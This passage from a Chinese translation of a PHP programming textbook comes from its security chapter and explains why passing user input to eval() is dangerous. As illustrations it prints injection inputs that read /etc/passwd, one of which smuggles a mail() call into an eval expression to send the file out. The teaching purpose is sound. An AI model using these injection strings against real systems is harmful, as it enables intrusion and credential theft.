PHP编程：第4版

328

｜

第

14

章

安全

<input type="submit" name="Execute Code"/>

</form>

</body>

</html>

这个页面接受表单的任意

PHP

代码并作为脚本的一部分运行。运行代码可以访问脚本的

所有全局变量并与脚本同权限运行代码。不难看出为什么有问题——把下面的内容输入

表单

：

include("/etc/passwd");

别这么用

eval()

。这种脚本实际上没法保证安全。

可以通过在

php.ini

的

disable_functions

配置选项中列出特殊的函数以全局禁用它们，

函数名用逗号分开。例如，不需要

system()

函数，可以禁用它 ：

disable_functions = system

但这不会让

evel()

更安全，因为没有方法阻止修改重要的变量或调用内建的构造，比如

echo()

调用。

在

include

、

require

、

include_once

和

require_once

的情况下，最好用

allow_url_

fopen

关闭远程文件访问。

任何使用

eval()

和

preg_replace()

的

/e

选项的代码都是危险的，尤其是你在调用中使

用“用户提供”的数据时。看下面

：

eval("2 + {$userInput}");

看起来没什么。然而，假使用户输入下面的值

：

2; mail("[e-mail]", "Some passwords", "/bin/cat /etc/passwd");

在这种情况下，你想和不想的命令都会被执行。 ...